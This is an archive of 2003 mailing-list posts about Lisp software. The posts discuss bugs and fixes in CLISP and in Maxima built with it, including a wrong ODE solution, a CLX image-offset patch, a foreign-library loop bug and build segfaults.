(C10) solve(x^2 - 3*x +2=0,x);

(D10)                           [x = 1, x = 2]
(C11) diff(x,x);

(D11)                                  1
(C12) diff(x^2,x);

(D12)                                 2 x
(C13) 'diff(x,t,2) + a*'diff(x,t) + b*x = d*sin(e*t);

                          2
                         d x     dx
(D13)                    --- + a -- + b x = d SIN(e t)
                           2     dt
                         dt
(C14) ode2(d13,x,t);

           2
Is  4 b - a   positive, negative, or zero?

positive;
              a t
            - ---                      2                           2
               2           SQRT(4 b - a ) t            SQRT(4 b - a ) t
(D14) x = %E      (%K1 SIN(----------------) + %K2 COS(----------------))
                                  2                           2

                                             2
                                         (d e  - b d) SIN(e t) + a d e 
COS(e t)
                                       - 
--------------------------------------
                                                 4     2         2    2
                                                e  + (a  - 2 b) e  + b
(C15)


This shows that it could be a very small problem in clisp compilation of 
maxima on winxp under cygwin. Any suggestion will be very helpful. Thanks

regards javed












James Amundson wrote:

>On Fri, 2003-09-19 at 01:31, Javed Alam wrote:
>  
>
>>I tried to solve this 2nd order differential equation 
>>and end up with
>>a wrong answer because if I try doing the same with maxima compiled with 
>>GCL I get the
>>right answer. Did some body else had the same problem?
>>    
>>
>
><snip>
>
>  
>
>>(C1) 'diff(x,t,2) + a*x = b*sin(c*t);
>>                             2
>>                            d x
>>(D1)                        --- + a x = b SIN(c t)
>>                              2
>>                            dt
>>(C2) ode2(d1,x,t);
>>Is  a  positive, negative, or zero?
>>
>>positive;
>>                          /
>>                          [
>>(D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a) t))
>>                          ]
>>1. Break [1]>
>>
>>                    d
>>/(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t)))
>>                    dt
>>
>>                     d
>> - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt
>>                     dt
>>
>>                    /
>>                    [
>> + b COS(SQRT(a) t) I (COS(c t + SQRT(a) t) - COS(c t - SQRT(a) t))
>>                    ]
>>                    /
>>
>>                    d
>>/(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t)))
>>                    dt
>>
>>                     d
>> - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt + %K1 SIN(SQRT(a) t)
>>                     dt
>>
>> + %K2 COS(SQRT(a) t)
>>    
>>
>
>I was not able to reproduce this result with Maxima 5.9.0+Clisp 2.29 or
>the current Maxima cvs+Clisp 2.31. Looking at it, I don't see how you
>could possibly get "1. Break [1]>" In the middle of a displayed
>equation. Do you know what happened there? It would be helpful for you
>to send us the output of "build_info();"
>
>--Jim
>
>
>
>  
>


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Don Cohen writes:
>Below is current diff.  The build finishes but
> (ext:write-byte-sequence a st :no-hang t)
>gives me
> *** - WRITE-BYTE-SEQUENCE: illegal keyword/value pair 
>:NO-HANG, T in argument list.
> The allowed keywords are (:START :END)
>
>Can someone tell me what I've missed?  
>I expected the following to cause the new argument to be recognized.
>[in sequence.d]
>+LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,3,
>+        (kw(start),kw(end),kw(no_hang)) )

It's not enough to modify sequence.d.

You must update subr.d and esp. subrkw.d

Regards,
	Jorg Hohle.


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On Fri, 2003-09-19 at 01:31, Javed Alam wrote:
> I tried to solve this 2nd order differential equation 
> and end up with
> a wrong answer because if I try doing the same with maxima compiled with 
> GCL I get the
> right answer. Did some body else had the same problem?

<snip>

> (C1) 'diff(x,t,2) + a*x = b*sin(c*t);
>                              2
>                             d x
> (D1)                        --- + a x = b SIN(c t)
>                               2
>                             dt
> (C2) ode2(d1,x,t);
> Is  a  positive, negative, or zero?
> 
> positive;
>                           /
>                           [
> (D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a) t))
>                           ]
> 1. Break [1]>
> 
>                     d
> /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t)))
>                     dt
> 
>                      d
>  - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt
>                      dt
> 
>                     /
>                     [
>  + b COS(SQRT(a) t) I (COS(c t + SQRT(a) t) - COS(c t - SQRT(a) t))
>                     ]
>                     /
> 
>                     d
> /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t)))
>                     dt
> 
>                      d
>  - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt + %K1 SIN(SQRT(a) t)
>                      dt
> 
>  + %K2 COS(SQRT(a) t)

I was not able to reproduce this result with Maxima 5.9.0+Clisp 2.29 or
the current Maxima cvs+Clisp 2.31. Looking at it, I don't see how you
could possibly get "1. Break [1]>" In the middle of a displayed
equation. Do you know what happened there? It would be helpful for you
to send us the output of "build_info();"

--Jim



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On Fri, 2003-09-19 at 17:09, Javed Alam wrote:
> Hi
> 
> I ran the  maxima versions(5.9.0) compiled with clisp(2.31) and 
> gclisp(2.5.0) for exact same problems. The build_info for both is included.
> OS ENVIRONMENT: CYGWIN under WINXP
> CYGWIN { 2003/08/31 12:05:44 Starting cygwin install, version 2.340.2.5 }

I am pretty sure there is a small, but important conflict between clisp
2.31 and Maxima 5.9.0. The good news is that the problem is fixed in
CVS. The bad news is that I don't remember exactly which change it was.
(Anyone else? It may have been a change for CMUCL. It definitely
predates Clisp 2.31.) 

We need to think about making a 5.9.1 release. In the meantime, getting
the CVS version of Maxima would be the easiest workaround.

--Jim



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So we are all clear, which versions have this problem?

And on another related issue - how can it really be that we get a
working functional system with that wrong an answer? It dramtically
reduces my confidence in the tests and related material associated with
maxima / clisp if such problems can happen so easily without notice.

FC

Per the message sent by James Amundson:

> On Fri, 2003-09-19 at 17:09, Javed Alam wrote:
> > Hi
> > 
> > I ran the  maxima versions(5.9.0) compiled with clisp(2.31) and 
> > gclisp(2.5.0) for exact same problems. The build_info for both is included.
> > OS ENVIRONMENT: CYGWIN under WINXP
> > CYGWIN { 2003/08/31 12:05:44 Starting cygwin install, version 2.340.2.5 }

> I am pretty sure there is a small, but important conflict between clisp
> 2.31 and Maxima 5.9.0. The good news is that the problem is fixed in
> CVS. The bad news is that I don't remember exactly which change it was.
> (Anyone else? It may have been a change for CMUCL. It definitely
> predates Clisp 2.31.) 

> We need to think about making a 5.9.1 release. In the meantime, getting
> the CVS version of Maxima would be the easiest workaround.

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James Amundson =D0=C9=DB=C5=D4:
> On Fri, 2003-09-19 at 17:09, Javed Alam wrote:
>=20
>>Hi
>>
>>I ran the  maxima versions(5.9.0) compiled with clisp(2.31) and=20
>>gclisp(2.5.0) for exact same problems. The build_info for both is inclu=
ded.
>>OS ENVIRONMENT: CYGWIN under WINXP
>>CYGWIN { 2003/08/31 12:05:44 Starting cygwin install, version 2.340.2.5=
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>=20
>=20
> I am pretty sure there is a small, but important conflict between clisp
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> CVS. The bad news is that I don't remember exactly which change it was.
> (Anyone else? It may have been a change for CMUCL. It definitely
> predates Clisp 2.31.)=20
>=20
> We need to think about making a 5.9.1 release. In the meantime, getting
> the CVS version of Maxima would be the easiest workaround.
>=20

Right, Maxima 5.9.0 will not work with clisp 2.31 and 2.30 (other=20
reason).  As for clisp 2.31 incompatibolity - the fix is the
latest patch to commac.lisp (maclisp-typep).

--=20
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Since the last CVS code reorganization my calls to xlib:put-image,
using the new-clx module, do not seem to display the image correctly.
My code works with previous CVS snapshots and with cmu lisp.

I am using SuSE Linux 8.1.  For example, the gremblin X bitmap (under
SuSE) /usr/X11R6/include/X11/bitmaps/m-grelb.xbm.

Reading it with:
    (setf *gremblin* (or (xlib:read-bitmap-file bmfile)
                         (error "Cannot read bitmap file: ~A~%" bmfile))))

I get the structure (as before)

#S(XLIB:IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (:NAME :M-GRELB)
   :FORMAT :Z-PIXMAP :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T
   :BYTE-LSB-FIRST-P T
   :DATA
   #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
     0 0 0 128 31 0 240 3 0 0 0 64 48 0 24 4 0 0 0 0 32 255 9 0 0 0 0 0 224 255
     15 0 0 0 0 0 248 255 63 0 0 0 0 0 254 255 255 0 0 0 0 0 255 255 255 1 0 0
     0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 192 31 255 241 7 0 0 0
     192 15 254 224 7 0 0 0 192 15 254 224 7 0 0 0 192 31 255 241 7 0 0 0 192
     255 255 255 7 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 0 255
     255 255 1 0 0 0 0 254 255 255 0 0 0 0 0 248 255 63 0 0 0 0 0 224 255 15 0
     0 0 0 0 0 255 1 0 0 0 0 0 0 199 1 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0
     0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0
     0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 254 131 255 0 0
     0 0 0 255 199 255 1 0 0 0 0 254 131 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
     0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
   :UNIT 32 :PAD 32 :LEFT-PAD 0)

When I try to display it with:

(defun show-image (win gcon image)
  "Display image.  Called on exposure events."
  ;; (format t "-- Exposure --~%")
  (xlib:put-image win gcon image :x 0 :y 0
                  :width (xlib:image-width image)
                  :height (xlib:image-height image)
                  :bitmap-p t)
  (xlib:display-force-output *display*))


I get the right edge of the gremblin along the left edge of the
window, the left edge of the gremblin along the right edge of the
window, and just space in-between.

The window is the same size as the bitmap, but resizing the window
does not effect the image displayed.

I have a short test program (105 lines) and the x bitmap file,
which I can supply upon request.



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On Fri, 19 Sep 2003 18:23:47 -0700, Fred Cohen wrote:

> So we are all clear, which versions have this problem?

Clisp 2.29 works well with Maxima 5.9.0. Clisp 2.30 has some problem with
numerical type conversions that causes huge problems with Maxima, as is
documented in the file README.lisps, which is included in the Maxima
distribution.. Clisp 2.31 has "this problem" with Maxima 5.9.0, but the
problem is fixed in the current Maxima cvs.

> And on another related issue - how can it really be that we get a
> working functional system with that wrong an answer? 

Maxima comes with a test suite, which can be invoked with "make check" in
the source directory. When compiled with Clisp 2.31, Maxima 5.9.0 crashes
roughly 1/3 of the way into the test suite. It isn't a working, functional
system.

> It dramtically
> reduces my confidence in the tests and related material associated with
> maxima / clisp if such problems can happen so easily without notice.

The current Maxima test suite easily identifies the problem. I would be
worried if it didn't.

--Jim Amundson



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I'm receiving large amounts of audio and picture files from spammers
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[Keep CC, thank you]

    >     root@w2kpicasso:/usr/src/build/clisp/clisp-2.31# ls -la build-cygwin/
    >     total 0
    >     drwxr-xr-x    2 root     None            0 Sep 15 23:19 .
    >     drwxr-xr-x   22 root     None            0 Sep 15 22:25 ..
    > 
    > Let me know how to proceed

    please replace "--install" with "--build --install".  sorry.

    if you do not have libsigsegv installed, I suggest
    getting it from ftp://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.1.tar.gz 
    and installing it with
    ./configure --prefix /usr/local/libsigsegv-cygwin
    make && make check && make install
    (you can omit --prefix here in
    --with-libsigsegv-prefix=/usr/local/libsigsegv-cygwin in CLISP config if
    you do not need libsigsegv/mingw).
    this is not required, but _highly_ recommended.
    this is a _build-time_ dependency only (not a run-time dependency!)

I had to port libsegv to cygwin first (Just announced ITP in cygwin-apps
mailing list), so I'm back in clisp again. Here is the latest build
messages, let me know how to proceed.


        ./configure                     \
        --prefix=/usr                   \
        --exec-prefix=/usr              \
        --with-dynamic-ffi              \
        --with-module=syscalls          \
        --with-module=regexp            \
        --fsstnd=redhat                 \
        --with-module=dirkey            \
        --with-module=bindings/win32    \
        --with-libsigsegv-prefix=/usr/lib \
        --install --build cygwin



I used ftp://ftp.gnu.org/pub/gnu/libsigsegv/ which had version
libsigsegv-2.0 (You mentioned 2.1 ?)

Jari


ln -s ../src/nls_cp1257.c nls_cp1257.c
ln -s ../src/nls_hp_roman8.c nls_hp_roman8.c
ln -s ../src/nls_nextstep.c nls_nextstep.c
ln -s ../src/nls_jisx0201.c nls_jisx0201.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c encoding.c
encoding.d: In function `nls_range':
encoding.d:1658: warning: `i1' might be used uninitialized in this function
encoding.d:1659: warning: `i2' might be used uninitialized in this function
ln -s ../src/pathname.d pathname.d
./comment5 pathname.d | ./ansidecl | ./varbrace > pathname.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c pathname.c
pathname.d: In function `parse_logical_word':
pathname.d:1529: warning: `ch' might be used uninitialized in this function
pathname.d: In function `C_launch':
pathname.d:10862: warning: variable `exit_code' might be clobbered by `longjmp' or `vfork'
ln -s ../src/stream.d stream.d
./comment5 stream.d | ./ansidecl | ./varbrace > stream.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c stream.c
stream.d: In function `iconv_range':
stream.d:3932: warning: `i1' might be used uninitialized in this function
stream.d:3933: warning: `i2' might be used uninitialized in this function
stream.d: In function `lisp_completion':
stream.d:9147: warning: variable `array' might be clobbered by `longjmp' or `vfork'
stream.d:9154: warning: variable `ptr' might be clobbered by `longjmp' or `vfork'
stream.d:9169: warning: variable `ptr1' might be clobbered by `longjmp' or `vfork'
make: *** [stream.o] Interrupt




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> * Matthias Neeracher <arrenpure@znp.pbz> [2003-09-20 23:53:01 -0700]:
>
> On Saturday, September 20, 2003, at 04:40 PM, William McCallum wrote:
> 
> Yes, I can confirm that this happened here as well. I've CC'd Sam
> Steingold on this message.

please do not CC me personally.  use clisp-list instead.  thanks.
<http://clisp.cons.org/faq.html#help>.

> Sam, is this a known issue?

it has been reported to both clisp-list and maxima list.

> >> (D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a)
> >> t))
> >>                          ]
> >> 1. Break [1]>
> >>
> >>                    d
> >> /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t)))
> >>                    dt

the "Break" prompt indicates something fishi.
William will need to find out where is it coming from.

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On Mon, 2003-09-22 at 09:24, Sam Steingold wrote:
> The following message is a courtesy copy of an article
> that has been posted to gmane.lisp.clisp.general as well.
> 
> > * James Amundson <nzhaqfba@hfref.fbheprsbetr.arg> [2003-09-20 19:49:52 -0500]:
> > When compiled with Clisp 2.31, Maxima 5.9.0 crashes roughly 1/3 of the
> > way into the test suite. It isn't a working, functional system.
> 
> could you please send us with a test case?

If you have a maxima source directory, just type "make check". You
should get "Unkown error in log file." The details can be seen in
tests/tests-clisp.log.

The problem is completely maxima's fault. Raymond Toy fixed the problem
in CVS a few months ago. I've attached the relevant section of code
below. (The buggy function is the one that now has #+nil.) We will try
to make a new release soon.

--Jim

Relevant section of commac.lisp:

;; This assumes way too much about how typep works, so don't use it.
;; We leave it here for reference to make sure the replacement below
;; does the same thing.
#+nil
(defun maclisp-typep (x &optional type)
  (cond (type
         (lisp:let (( pred (get type 'ml-typep)))
        (cond (pred
                (funcall pred x))
               (t (typep x type)))))
        (t
        (lisp:let ((.type. (#. (if (boundp
'*primitive-data-type-function*)
                                   *primitive-data-type-function*
'type-of)
                                   x)))
          (cond
           ((one-of-types .type.  'hi nil) 'symbol)
           ((one-of-types .type. '(a)) 'list)
           ((one-of-types .type. 3) 'fixnum)
           ((one-of-types .type.  (make-array 3) "abc")
            (cond ((stringp x) 'string) ;;should really be symbol 'ugggh
                  #+ti ((hash-table-p x) 'hash-table)
                  (t 'array)))
           ((one-of-types .type. (expt 2 50) 1.234
most-positive-single-float
                          most-positive-double-float
most-positive-long-float )
              (cond
                    ((integerp x) 'bignum)
                    ((floatp x) 'flonum )
                    (t 'number)))
           ;;note the following is 'random in maclisp
           ((one-of-types .type. #'cons) 'compiled-function)
           #-ti ((one-of-types .type.  (make-hash-table))
            (cond ((hash-table-p x) 'hash-table)
                  (t (type-of x))))
           ((arrayp x) 'array)
           ;((one-of-types .type. (make-array '(2 3)))  'array)
           (t (type-of x)))))))

;; A more portable implementation of maclisp-typep.  I (rtoy) think it
;; would probably be better to replace uses of maclisp-typep and/or
;; ml-typep with the corresponding Common Lisp typep or type-of or
;; subtypep, as appropriate.
(defun maclisp-typep (x &optional type)
  (cond (type
         (lisp:let ((pred (get type 'ml-typep)))
           (cond (pred
                  (funcall pred x))
                 (t (typep x type)))))
        (t
         (typecase x
           (cl:cons 'list)
           (cl:fixnum 'fixnum)
           (cl:integer 'bignum)
           (cl:float 'flonum)
           (cl:number 'number)
           (cl:array 'array)
           (cl:hash-table 'hash-table)
           (t
            (type-of x))))))





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On Mon, 2003-09-22 at 10:45, Sam Steingold wrote:

> thanks - I thought that "crash" meant a CLISP sergfault (which is always
> a CLISP fault, not an application problem).

That's a reasonable assumption. What I really meant is that Maxima falls
into the Lisp debugger, which is Maxima's equivalent of crashing.

Sorry for causing unnecessary alarm.

--Jim



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Date: Mon Sep 22 22:15:07 2003
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This on more recent hardware and software, trying to simplify:

 wg:root /root/clisp-2.31>./configure --without-readline --without-unicode test4
 ...
 make
 ...
 ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
 make: *** [interpreted.mem] Segmentation fault

First, I welcome ideas about how to debug such things.  Here's the
direction I went and the strange place it lead:

 wg:root /root/clisp-2.31/test4>strace -o/tmp/strace ./lisp.run -B . -N locale
 wg:root /root/clisp-2.31/test4>grep open /tmp/strace

trace system calls and see what files it opens on way to segfault

 open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
 open("/etc/ld.so.cache", O_RDONLY)      = 4
 open("/usr/lib/libreadline.so.3", O_RDONLY) = 4

For some reason still reading libreadline!
Any idea why?

 open("/lib/libncurses.so.5", O_RDONLY)  = 4
 open("/lib/libdl.so.2", O_RDONLY)       = 4
 open("/lib/libc.so.6", O_RDONLY)        = 4
 open("/lib/libtermcap.so.2", O_RDONLY)  = 4
 open("/lib/libc.so.6", O_RDONLY)        = 4
 open("/lib/libc.so.6", O_RDONLY)        = 4
 open("/lib/libc.so.6", O_RDONLY)        = 4
 open("/lib/libc.so.6", O_RDONLY)        = 4
 open("/proc/27942/exe", O_RDONLY)       = 4
 open("/proc/self/maps", O_RDONLY)       = 5
 open("/proc/self/maps", O_RDONLY)       = 5

whereas in 2.27 which works on this machine:

 wg:root /root>grep open /tmp/strace
 open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
 open("/etc/ld.so.cache", O_RDONLY)      = 4
 open("/lib/libc.so.6", O_RDONLY)        = 4
 open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
 open("/etc/ld.so.cache", O_RDONLY)      = 4
 open("/lib/libncurses.so.4", O_RDONLY)  = 4

hmmm 2.27 uses .so.4 compared to .31 using .so.5

 open("/lib/libdl.so.2", O_RDONLY)       = 4
 open("/lib/libc.so.6", O_RDONLY)        = 4
 open("/lib/libc.so.6", O_RDONLY)        = 4
 open("/lib/libc.so.6", O_RDONLY)        = 4
 open("/proc/28164/exe", O_RDONLY)       = 4
 open("/proc/self/maps", O_RDONLY)       = 5
 open("/usr/local/lib/clisp/base/lispinit.mem", O_RDONLY) = 5

so evidently the .31 crashed before reading lispinit.mem



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> * Don Cohen <qba-fbheprsbetr@vfvf.pf3-vap.pbz> [2003-09-18 16:36:46 -0700]:
>
> Below is current diff.  The build finishes but
>  (ext:write-byte-sequence a st :no-hang t)
> gives me
>  *** - WRITE-BYTE-SEQUENCE: illegal keyword/value pair :NO-HANG, T in argument list.
>  The allowed keywords are (:START :END)
>
> Can someone tell me what I've missed?
> I expected the following to cause the new argument to be recognized.
> [in sequence.d]
> +LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,3,
> +        (kw(start),kw(end),kw(no_hang)) )
>
> In particular, this is the same as for read-byte-sequence
> but :no-hang is accepted there.

"make check-sources" in your build directory should give you a tip.
read <http://clisp.cons.org/impnotes/extend.html#add-fun>.
if you still have a problem, please do not hesitate to ask again!

> --- ./genclisph.d	Wed Sep 17 16:48:06 2003
> +++ ../src/genclisph.d	Thu Sep 18 12:32:57 2003
> @@ -1486,7 +1486,7 @@
>    }
>    printf("#define VALUES0 do{ value1 = NIL; mv_count = 0; }while(0)\n");
>    printf("#define VALUES1(A) do{ value1 = (A); mv_count = 1; }while(0)\n");
> -  printf("#define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 3;}while(0)\n");
> +  printf("#define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 2;}while(0)\n");
>    printf("#define VALUES3(A,B,C) do{ value1 = (A); value2 = (B); value3 = (C); mv_count = 3;}while(0)\n");
>    printf("#define VALUES_IF(C) do{ value1 = (C) ? T : NIL; mv_count = 1; }while(0)\n");
>    printf("#define args_end_pointer  STACK\n");

please work against the CVS head.

> +	  }
> +#ifdef O_NONBLOCK
> +	  if ( fcntl(fd,F_SETFL,fcntl_flags|O_NONBLOCK) <0) {
> +	    OS_error();
> +	  }
> +#else # older Unices called it O_NDELAY
> +	  if ( fcntl(fd,F_SETFL,fcntl_flags|O_NDELAY) <0) {
> +	    OS_error();
> +	  }
> +#endif
> +	}

please try to indent CPP directives like it is done in the CLISP code.

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Date: Thu Sep 25 12:32:02 2003
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> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-09-25 11:13:22 -0400]:
>
> > did you see this message on clisp-list?
> 
> >> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-09-20 08:59:36 -0400]:
> >>
> >> Since the last CVS code reorganization my calls to xlib:put-image,
> >> using the new-clx module, do not seem to display the image correctly.
> >> My code works with previous CVS snapshots and with cmu lisp.
> 
> No.  I posted to the newsgroup gmane.lisp.clisp.general and have been
> looking there.

it appears that a bunch of my message to CLISP lists (posted via gmane)
have been lost - I re-sent those I could salvage recently.

> >> I get the right edge of the gremblin along the left edge of the
> >> window, the left edge of the gremblin along the right edge of the
> >> window, and just space in-between.
> 
> > did you try other images?
> 
> I did now.  When I try a larger image, the images look like it is
> shifted to the left with the missing left edge displayed on the right
> side of the image, and random dots along the bottom in the wrapped
> area.
> 
> Playing with the content of the bitmap file, it seems the data being
> displayed starts 4 bytes offset into the ximage.
> 
> I performed the following _ugly_ patch to "modules/clx/new-clx/clx.f"
> and the bitmap images seem to be displayed correctly:
> 
>  *** clx.c	2003-09-25 11:00:33.000000000 -0400
> --- clx.c-patched	2003-09-25 10:54:37.000000000 -0400
> ***************
> *** 6807,6813 ****
>       /* Now fetch data it *must* be a vector of card8 */
>       pushSTACK(STACK_7); funcall (O(object_xlib__image_x_data), 1);
>       if (simple_bit_vector_p (Atype_8Bit, value1)) {
> !       im.data = (char*) &TheSbvector (value1)->data[0];
>       } else {
>         pushSTACK(O(object__28array_20xlib__card8_20_28_2A_29_29));
>         pushSTACK(STACK_8);
> --- 6807,6813 ----
>       /* Now fetch data it *must* be a vector of card8 */
>       pushSTACK(STACK_7); funcall (O(object_xlib__image_x_data), 1);
>       if (simple_bit_vector_p (Atype_8Bit, value1)) {
> !       im.data = (char*) &TheSbvector (value1)->data[-4];
>       } else {
>         pushSTACK(O(object__28array_20xlib__card8_20_28_2A_29_29));
>         pushSTACK(STACK_8);

this is weird.

the xbm file has 220 bytes of data.  the X image data is 352 bytes long.
(to see that, add
  (format t "data (~S):~%~s~%" (type-of (xlib::image-x-data *gremblin*))
          (xlib::image-x-data *gremblin*))
to your MAIN function)
do you know whether this is correct?
apparently some padding is being done - incorrectly.
can you figure out where?
thanks!
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Hello,
I think there is a bug in the function update_library in defined in file
foreign.d:
At the end of the while loop one has to insert

lib_list = Cdr(lib_list);

otherwise this function(namely the wile loop) does not terminate. 

Right now if a foreign function is defined with the (:library ...) clause
and then an image is saved,
calling the foreign function function in a session with this saved image
does not terminate, 
since update_library is called for the library.
bye,
Roland

have a look:

/* update the DLL pointer and all related objects
 acons = (library fpointer object1 object2 ...) */
local void update_library (object acons, uintL version) {
  var object lib_name = Car(acons);
  var object lib_addr = Car(Cdr(acons)); /* presumably invalid */
  var void *lib_handle = open_library(lib_name,version);
  TheFpointer(lib_addr)->fp_pointer = lib_handle;
  mark_fp_valid(TheFpointer(lib_addr));
 #if !defined(AMIGAOS)
  var object lib_list = Cdr(Cdr(acons));
  while (consp(lib_list)) {
    var object fo = Car(lib_list); /* foreign object */
    var object fa = foreign_address(fo,false); /* its foreign address */
    var gcv_object_t *fn;                       /* its name */
    switch (Record_type(fo)) {
      case Rectype_Fvariable: fn = &(TheFvariable(fo)->fv_name); break;
      case Rectype_Ffunction: fn = &(TheFfunction(fo)->ff_name); break;
      default: NOTREACHED;
    }
    ASSERT(eq(TheFaddress(fa)->fa_base,lib_addr));
    TheFaddress(fa)->fa_offset = (sintP)object_handle(acons,fn,false) -
      (sintP)lib_handle;
  }
 #endif
}

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Hi,

    Clisp-2.31 was installed to F:\lisp\clisp-2.31.

    I am trying to install Lisa 2.04 ( http://lisa.sf.net )
    and got an error: there is no package with name "MK"

    Where can I get the MK package.

    Thanks for your help.

    PhiHo.





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Date: Mon Sep 29 00:42:06 2003
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>    I am trying to install Lisa 2.04 ( http://lisa.sf.net )
>    and got an error: there is no package with name "MK"

Probably Mark Kantrowitz' MK-DEFSYSTEM package.
It provides the defsystem macro, and load-system etc. functions.

You can try to locate one version, or load Lisa's files by hand.

I thought that these days people rather preferred the ASDF defsystem utility.

Regards,
	Jorg Hohle.


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Sam Steingold <sds@gnu.org> writes:

>> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-09-25 11:13:22 -0400]:
>> Playing with the content of the bitmap file, it seems the data being
>> displayed starts 4 bytes offset into the ximage.
>> ...
>
> this is weird.
>
> the xbm file has 220 bytes of data.  the X image data is 352 bytes long.
> (to see that, add
>   (format t "data (~S):~%~s~%" (type-of (xlib::image-x-data *gremblin*))
>           (xlib::image-x-data *gremblin*))
> to your MAIN function)
> do you know whether this is correct?

Yes, the size difference is because the line padding is changed from
8 bits to 32, when the file is read into memory.

> apparently some padding is being done - incorrectly.
> can you figure out where?

The data is correct, just 4 bytes off from where TheSvector seems to
think it is.  I don't know enough about CLISP internal structures
to know what is happening.

Its hard counting bits, but the following patch to the CLISP
2.31 release code will print out the image (correctly for
little-endian XImages) to *standard-output*:

============ PATCH ==============
*** clx.f-orig	2003-09-28 11:44:11.000000000 -0400
--- clx.f	2003-09-28 11:41:28.000000000 -0400
***************
*** 4182,4187 ****
--- 4182,4210 ----
    fehler (error, "Sorry, my implementation of XLIB:PUT-IMAGE is still not complete.");
  }
  
+ /* test function to print the contents of the bitmap */
+ void dump_image(XImage *image)
+ {
+    char *row;
+    int x, y;
+    int height = image->height;
+    int width  = image->width;
+    int line_len = image->bytes_per_line;
+ 
+    printf("Dumping image data (%d %d %d):\n", height, width, line_len);
+    for (y = 0; y < height; y++) {
+       printf("|");
+       row = image->data + (y * line_len);
+       for (x = 0; x < width; x++) {
+          if (row[x / 8] & (1 << (x % 8)))
+ 	    printf("*");
+ 	 else
+ 	    printf(" ");
+       }
+       printf("|\n");
+    }
+ }
+ 
  DEFUN(XLIB:PUT-IMAGE, drawable gcontext image \
        &key SRC-X SRC-Y X Y WIDTH HEIGHT BITMAP-P)
  { /* This is a *VERY* silly implementation.
***************
*** 4244,4250 ****
      /* Now fetch data it *must* be a vector of card8 */
      pushSTACK(STACK_7); funcall (`XLIB::IMAGE-X-DATA`, 1);
      if (simple_bit_vector_p (Atype_8Bit, value1)) {
!       im.data = (char*) &TheSbvector (value1)->data[0];
      } else {
        pushSTACK(`(ARRAY XLIB::CARD8 (*))`);
        pushSTACK(STACK_8);
--- 4267,4276 ----
      /* Now fetch data it *must* be a vector of card8 */
      pushSTACK(STACK_7); funcall (`XLIB::IMAGE-X-DATA`, 1);
      if (simple_bit_vector_p (Atype_8Bit, value1)) {
!       im.data = (char*) &TheSbvector (value1)->data[-4]; /* Was: [0]; */
! #if 1
!       dump_image(&im);  /* Lets look at what we have */
! #endif
      } else {
        pushSTACK(`(ARRAY XLIB::CARD8 (*))`);
        pushSTACK(STACK_8);
============ END OF patch ===========

Sorry, I had problems with attachments before and don't want to test
using them now.

My test program (which I did not post to the group before) and can
also output the lisp image to *standard-output* is:

======= badcase.lisp
#! /usr/local/bin/clisp -K full
;;;; badcase.lisp - simple load bitmap into window
;;;; $Id: badcase.lisp,v 1.3 2003/09/27 20:35:12 barry Exp $

;;;; Commentary
;;;    Simple hack to load a bitmap into a window using an XImage.

#+:cmu
(require :clx)
#+:cmu
(defvar *ARGS* nil)

;(load "clx-fix")

;;; Keep general x connection info global
(defparameter *display* nil
  "X11 Display object when connection is active.")
(defparameter *screen* nil
  "X11 Screen object when connection is active.")
(defparameter *root* nil
  "Root window on display when connection is active.")
(defparameter *gremblin* nil
  "Image displayed in window")

(defun open-x-display ()
  "Open default \":0.0\" display"
  (setf *display* (xlib:open-display "" :display 0))
  (setf *screen*  (car (xlib:display-roots *display*)))
  (setf *root*    (xlib:screen-root *screen*))
  (unless *root*
    (error "Failed to open display~%"))
  *root*)

(defun close-x-display ()
  (xlib:close-display *display*)
  (setf *display* nil))

(defun show-image (win gcon image)
